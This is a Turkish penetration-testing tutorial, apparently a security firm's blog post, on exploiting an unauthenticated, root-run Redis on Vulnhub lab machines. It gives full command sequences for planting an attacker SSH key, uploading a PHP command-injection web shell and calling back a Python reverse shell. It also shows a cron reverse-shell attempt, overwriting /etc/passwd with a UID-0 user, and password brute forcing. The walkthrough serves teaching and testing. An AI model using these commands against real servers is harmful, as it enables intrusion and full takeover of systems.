Güvenilir Olarak Yapılandırılmamış Redis Üzerinden Komut Satırı Erişiminin Elde Edilmesi

0
3024
views
Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemin işletim sistemine erişim elde edilebilir. Bu yazıda, Typhoon: 1.02 sanal makinesi üzerinde güvenilir olarak yapılandırılmayan Redis (Remote Dictionary Service) adlı servis istismar edilecek ve komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Typhoon: 1.02 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/typhoon-102,267/

 

A) Redis Hakkında Temel Bilgilendirme

Salvatore Sanfilippo tarafından açık kaynak olarak geliştirilmiş olan Redis (Remote Dictionary Service), key-value şeklinde tasarlanmış bir NoSQL veritabanıdır.

Redis’in temel avantajları aşağıdaki gibi listelenebilir.

  • Tüm operasyonları bellekte çalıştırarak bellekteki veriyi dönmesi ve sekron çalışması sebebi ile oldukça hızlıdır.
  • Yapılan ayara göre diske yazma imkanı da sunmaktadır. Disk üzerine yazması ve NoSql mantığı ile çalışması sebebiyle sunucu kapansa dahi veriler kaybolmaz.

Redis’in temel dezavantajları aşağıdaki gibi listelenebilir.

  • Veriler şifrelenerek saklanmamaktadır.
  • Asenkson çalışmaması sebebi ile tek instance üzerinde asenkron alternatiflerin eriştiği performansa ulaşılamayabilir.
  • İlişkisel veritabanlarındaki gibi karmaşık soruları yapmak istenirse, kurgulamaya önem verilmesi gerekir.

 

B) Redis Üzerinden Bilgi Edinme

Hedef sanal makinedeki Redis hakkında temel bilgileri edinmek için Nmap redis-info betiği kullanılabilir.

nmap -Pn -n –open -sV -p6379 192.168.226.133 –script redis-info

 

Benzer bilgiler MSF redis_server auxiliary modülü ile de elde edilebilir.

use auxiliary/scanner/redis/redis_server
show options
set RHOSTS 192.168.226.133
run

 

Daha detaylı bilgi edinmek için redis-cli aracı kullanılabilir. Bu araç redis-tools paketi içerisinde yer almaktadır.

apt-get install redis-tools

 

redis-cli aracı ile bir çok bilgi edinilebildiği görülmektedir.

redis-cli -h 192.168.226.133 -p 6379
info

 

Böylece, servise ait yapılandırma dosyası, CPU, bellek, bağlanan cihazlar, veritabanı durumu, replikasyonlar gibi bir çok bilgi edinilebilir.

Bu bilgiler yapılandırma dosyasında da bulunmaktadır.

grep -Ev “^#” /etc/redis/redis.conf

 

C) Temel Redis Komutları

Redis komut satırında çalıştırılabilecek komutlardan bazıları aşağıdaki gibidir.

  • CLIENT LIST –> Bağlı kullanıcılar listelenir
  • CLIENT GETNAME –> Kayıtlı istemci adı getirilir.
  • DBSIZE –> Kayıtlı anahtarlar listelenir.
  • INFO –> Sunucu hakkında bilgi edinilir.
  • LASTSAVE –> En son kayıt zamanını gösterir.
  • TIME –> Sunucu saatini gösterir
  • AUTH ParolaDegeri –> Parola koruması varsa, kimlik doğrulaması gerçekleştirilir.

Kullanılabilecek diğer komutlar için kaynaklardaki redis.io sitesi incelenebilir.

Mevcut sanal makinede veritabanının ilk durumda boş olduğu, daha sonra ise 4 adet bilgi eklendiği görülmektedir.

CLIENT LIST
DBSIZE
LASTSAVE
TIME
set ULKE TURKIYE
mset Anahtar1 Deger1 Anahtar2 Deger2 Anahtar3 Deger3
get ULKE
get Anahtar2
DBSIZE

 

Not: “1541955090” için 15 Kasım 2018 olduğu görülmektedir.

https://www.epochconverter.com/

 

 

D) SSH Servisi Üzerinden Komut Satırı Erişimi Elde Etme

Mevcut sanal makinede SSH servisi de çalışmaktadır. Kali üzerinde SSH anahtar çifti oluşturulup; genel anahtar, kurban sanal makinedeki bir kullanıcının ev dizininin altında bulunan SSH dizinine (“/home/<KULLANICI_ADI>/.ssh“) atılırsa, Kali üzerindeki özel anahtar ile hedef sanal makineye SSH erişimi elde edilebilir.

Not: Redis, hedef sanal makine üzerinde “root” yetkisi ile çalıştığı için her dizine istenilen dosya yüklenebilmektedir.

Komut satırı erişimi için öncelikle Kali üzerinde SSH anahtar çifti oluşturulur.

ssh-keygen -t rsa
/root/Desktop/anahtar
ls -la /root/Desktop/anahtar*
echo -e “\n” > GenelAnahtar
cat /root/Desktop/anahtar.pub >> GenelAnahtar
echo -e “\n” >> GenelAnahtar
cat GenelAnahtar

 

Not: Redis üzerinde aşağıdaki işlemler sırasında hedef sanal makinenin “authorized_keys” dosyasının içerisinde bazı karakterler de eklenir. Bu sebeple genel anahtarın (“/root/Desktop/anahtar.pub“) başı ve sonuna boş satırlar eklenmiştir.

Oluşturulan genel anahtar “/home/admin/.ssh/” dizinine “authorized_keys” olarak redis komut satırı üzerinden kaydedilir.

redis-cli -h 192.168.226.133
CONFIG GET dir
CONFIG SET dir /home/admin/.ssh/
CONFIG GET dir
CONFIG GET dbfilename
CONFIG SET dbfilename “authorized_keys”
CONFIG GET dbfilename
FLUSHALL
exit
cat GenelAnahtar | redis-cli -h 192.168.226.133 -x set AnahtarYukle
redis-cli -h 192.168.226.133 SAVE

 

Not: Mevcut sanal makinede “admin” adlı bir kullanıcı bulunmaktadır. Bu kullanıcının tespiti yazı kapsamında değildir.

Sonra da “admin” kullanıcısı ile özel anahtar kullanılarak bağlantı sağlanabilir.

ssh admin@192.168.226.133 -i /root/Desktop/anahtar

 

Not: Mevcut sanal makinede parola sorulmasının sebebi, sanal makineye kaydedilen dosyanın yetkisinin 660 olarak oluşmasıdır. Yetkilendirme 644 olarak verildiğinde ise beklendiği gibi parolasız şekilde SSH gerçekleştirilmiştir.

ls -la /home/admin/.ssh
cat /home/admin/.ssh/authorized_keys
chmod 644 /home/admin/.ssh/authorized_keys
ls -la /home/admin/.ssh
ssh admin@192.168.226.133 -i root/Desktop/anahtar

 

Not: Mevcut makinede “root” kullanıcısına uzaktan SSH erişim yetkisi verilmemiş; sadece “user“, “admin” ve “typhoon” kullanıcılarına SSH ile uzaktan erişim yetkisi verilmiştir. Bu sebeple “/root/.ssh” dizininde değil, “/home/admin/.ssh” dizininde “authorized_keys” dosyası oluşturulmuştur.

tail -f /var/log/auth.log
ssh 192.168.226.133
cat /etc/ssh/sshd_config | grep AllowUsers

 

Bunun yanında Kevgir sanal makinesinde (IP: 192.168.226.140) ise Redis komut satırı ile atılan dosyaların yetkilendirmesi 644 olarak belirlendiği ve “root” yetkisi ile oturum açılabildiği (AllowUsers gibi bir kısıt olmadığı) için parolasız şekilde erişim sağlanabilmektedir.

redis-cli -h 192.168.226.140
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename “authorized_keys”
FLUSHALL
exit
cat GenelAnahtar | redis-cli -h 192.168.226.140 -x set AnahtarYukle
redis-cli -h 192.168.226.140 SAVE
ssh root@192.168.226.140 -i /root/Desktop/anahtar -p1322
ls -la /root/.ssh/
cat /etc/ssh/sshd_config | grep AllowUsers

 

E) Web Servisi Üzerinden Komut Satırı Erişimi Elde Etme

Mevcut sanal makinede Web servisi de çalışmaktadır. Redis üzerinden, komut enjeksiyona sebep olabilecek bir PHP dosyası web servis dizinine yüklenebilir. Yüklenebilecek örnek bir komut aşağıdaki gibidir.

 

Bu ifadeyi içeren dosya, Redis komut satırı ile hedef web dizinine yüklenir.

nano Sayfa
cat Sayfa
redis-cli -h 192.168.226.133
CONFIG SET dir /var/www/html
CONFIG SET dbfilename KomutEnjeksiyonu.php
CONFIG GET dir
CONFIG GET dbfilename
FLUSHALL
exit
cat Sayfa | redis-cli -h 192.168.226.133 -x set AnahtarYukle_Web
redis-cli -h 192.168.226.133 SAVE

 

Böylece KomutEnjeksiyonu.php dosyası hedef sunucuya yüklenmiştir. Ancak komut çalışmamıştır.

ls
cat KomutEnjeksiyonu.php
http://192.168.226.133/KomutEnjeksiyonu.php?komut=pwd

 

Bunun sebebi mevcut sanal makinede, dosyanın yetkisinin 660 olarak oluşması ve web servisini çalıştıran kullanıcının (www-data) bu dosyayı okuma yetkisinin bulunmamasıdır. Yetkilendirme 664 olarak verildiğinde ise beklendiği gibi KomutEnjeksiyonu.php dosyasına erişilmiş ve komut çalıştırılabilmiştir.

ls -la KomutEnjeksiyonu.php
chmod 664 KomutEnjeksiyonu.php
ls -la KomutEnjeksiyonu.php

http://192.168.226.133/KomutEnjeksiyonu.php?komut=uname%20-a

 

Not: Kevgir sanal makinesinde ise, Redis komut satırı ile atılan dosyaların yetkilendirmesi 644 olarak belirlendiği için web üzerinden komut satırı erişimi doğrudan elde edilebilmektedir. Bunun yanında web servisinin çalıştığı dizin “/var/www/html” değil “/var/www/html/main” olduğu da göz önünde bulundurulmalıdır.

Mevcut sanal makinede, ters bağlantı elde etmek için, dinleyici başlatılarak aşağıdaki gibi bir python komutu kullanılabilir.

nc -nlvp 5555

http://192.168.226.133/KomutEnjeksiyonu.php?komut=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.226.139%22,5555));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

cat /etc/*release*
id

 

Sonuç olarak; web hizmeti veren kullanıcı yetkileri (www-data) ile komut satırı elde edilmiş olur.

Not: Bazı hazır/popüler arkakapı dosyaları (php-reverse-shell.php, weevely ile oluşturulan php dosyası vb) yüklendiğinde, (muhtemelen Redis tarafından eklenen karakterler sebebi ile) bağlantı elde edilememiştir.

 

F) Zamanlanmış Görevler ile Komut Satırına Erişim Denemesi (Başarısız)

Yüklenecek dosya olarak ters bağlantı sağlayacak bir python komutu kullanılabilir. Bu komut dakikada bir (“*/1 * * * *” ile belirtilebilir) kere “root” yetkisi ile çalışacak şekilde ayarlanır ve zamanlanmış görevlerin bulunduğu dizine (Ubuntu için “/var/spool/cron/crontabs/“, Debian için “/var/spool/cron/“) atılabilir.

redis-cli -h 192.168.226.133 -a Parola123 CONFIG SET DIR /var/spool/cron/crontabs/
redis-cli -h 192.168.226.133 CONFIG SET DBFILENAME root
redis-cli -h 192.168.226.133 FLUSHALL
echo -e “\n\n*/1 * * * * /usr/bin/python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.226.139\”,7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’\n\n” | redis-cli -h 192.168.226.133 -x set AnahtarYukle_ZamanlanmisGorev
redis-cli -h 192.168.226.133 SAVE

ls -la /var/spool/cron/crontabs
cat /var/spool/cron/crontabs/root

Ancak zamanlanmış hazırlanan komutlar düzgün bir şekilde zamanlanmış görev dosyasına yazılamadığı için ters bağlantı elde edilememiştir.

 

G) MSF file_upload Auxiliary Modülü ile Redis Üzerinden Dosya Yüklenmesi

Redis üzerinden, redis-cli komut satırı aracı ile dosya atılarak bu dosya ile işlem yapma adımları MSF file_upload auxiliary modülü ile otomatik olarak gerçekleştirilebilir.

Mevcut hedef sanal makinede “typhoon” adlı bir kullanıcı da bulunmaktadır. Bu kullanıcının tespiti yazı kapsamında olmadığı için incelenmeyecektir. Ayrıca AllowUsers olarak belirtilen “user“, “admin” ve “typhoon” kullanıcılardan biri olduğu için SSH da yapılabilecektir. Bu kullanıcının olduğu /etc/passwd dosyası hedef sunucuya yüklenecektir. Bu amaçla Kali üzerinde UID değeri “0” olan “typhoon” kullanıcısı oluşturulur ve bu kullanıcının parola özeti, passwd dosyasının yedeğine “x” ile belirtilen kısma eklenir.

useradd -o -u 0 typhoon
passwd typhoon
tail -1 /etc/shadow
cp /etc/passwd passwd_Yedek
tail -1 passwd_Yedek
nano passwd_Yedek
tail -1 passwd_Yedek

 

Hazırlanan “passwd_Yedek” dosyası MSF file_upload auxiliary modülü ile hedef sanal makinenin “/etc/passwd” dosyası olarak kaydedilebilir.

use auxiliary/scanner/redis/file_upload
show options
set RHOSTS 192.168.226.133
set LocalFile passwd_Yedek
set RemoteFile /etc/passwd
run

 

Böylece “typhoon” kullanıcısı ile “root” yetkilerine sahip olunacak şekilde SSH bağlantısı elde edilmiştir.

ssh typhoon@192.168.226.133
id

 

H) Redis Üzerinde Parola İşlemleri

Mevcut sanal makinedeki Redis üzerinde kimlik doğrulaması istenmemektedir. Bu sebeple, redis-cli ile bağlanılıp, komutların parolaya ihtiyacı olmadan çalıştırılabilmişti. Ayrıca telnet aracı ile bağlantı kurularak da parola kontrolünün olup olmadığı test edilebilir.

telnet 192.168.226.133 6379
echo “Merhaba”
echo “Parola sormadi”

 

Parola koruması “requirepass” seçeneği ile eklenebilir. Böylece Redis ile işlem yapılmak istendiğinde bu parolaya ihtiyaç duyulmaktadır.

redis-cli -h 192.168.226.133
DBSIZE
CONFIG SET requirepass Parola123
DBSIZE
exit
redis-cli -h 192.168.226.133
AUTH Parola123
DBSIZE

Parola koruması olduğu durumda “-a” parametresi ile Redis üzerinde komut çalıştırılabilir.

redis-cli -h 192.168.226.133 -a Parola123 CONFIG GET DBSIZE

Redis, performanslı çalıştığı için parola denemelerine oldukça hızlı cevap verir. Bu sebeple oldukça karmaşık bir parola verilmesi gereklidir. Kolay bir parola verilmesi durumunda parola tespiti için MSF redis_login auxiliary modülü gibi yöntemler ile kullanılabilir.

use auxiliary/scanner/redis/redis_login
cat Parola_Listesi
set PASS_FILE Parola_Listesi
set RHOSTS 192.168.226.133
run

 

Not: Parola yapılandırma ayarları incelendiğinde açık metin olarak görülmektedir.

CONFIG GET *

 

Çalıştırılan komutlardan edilen önemli bilgiler aşağıdaki gibi sıralanabilir.

  • Veritabanı Adı: dump.rdb
  • Parola Değeri: Parola123
  • Log Dosyası: /var/log/redis/redis-server.log
  • PID Dosyası: /var/run/redis/redis-server.pid
  • Redis’in Çalıştığı Dizin: /var/lib/redis

 

Çalıştırılan komutların varsayılan durumda açık metin olarak trafikten geçtiği de görülmektedir.

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • Kevgir:1: https://www.vulnhub.com/entry/kevgir-1,137/
  • Gemini Inc: 2: https://www.vulnhub.com/entry/gemini-inc-2,234/
    • Redis Parolası: 8a7b86a2cd89d96dfcc125ebcc0535e6

 

Kaynaklar:

https://uneysle.wordpress.com/2018/11/06/typhoon/
REDİS NEDİR ve UYGULAMALI ANLATIM
Redis Nedir ? Nasıl Kullanılır ?
https://redis.io/commands
https://redis.io/topics/security
http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#id100
https://github.com/psmiraglia/ctf/blob/master/kevgir/000-redis.md

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.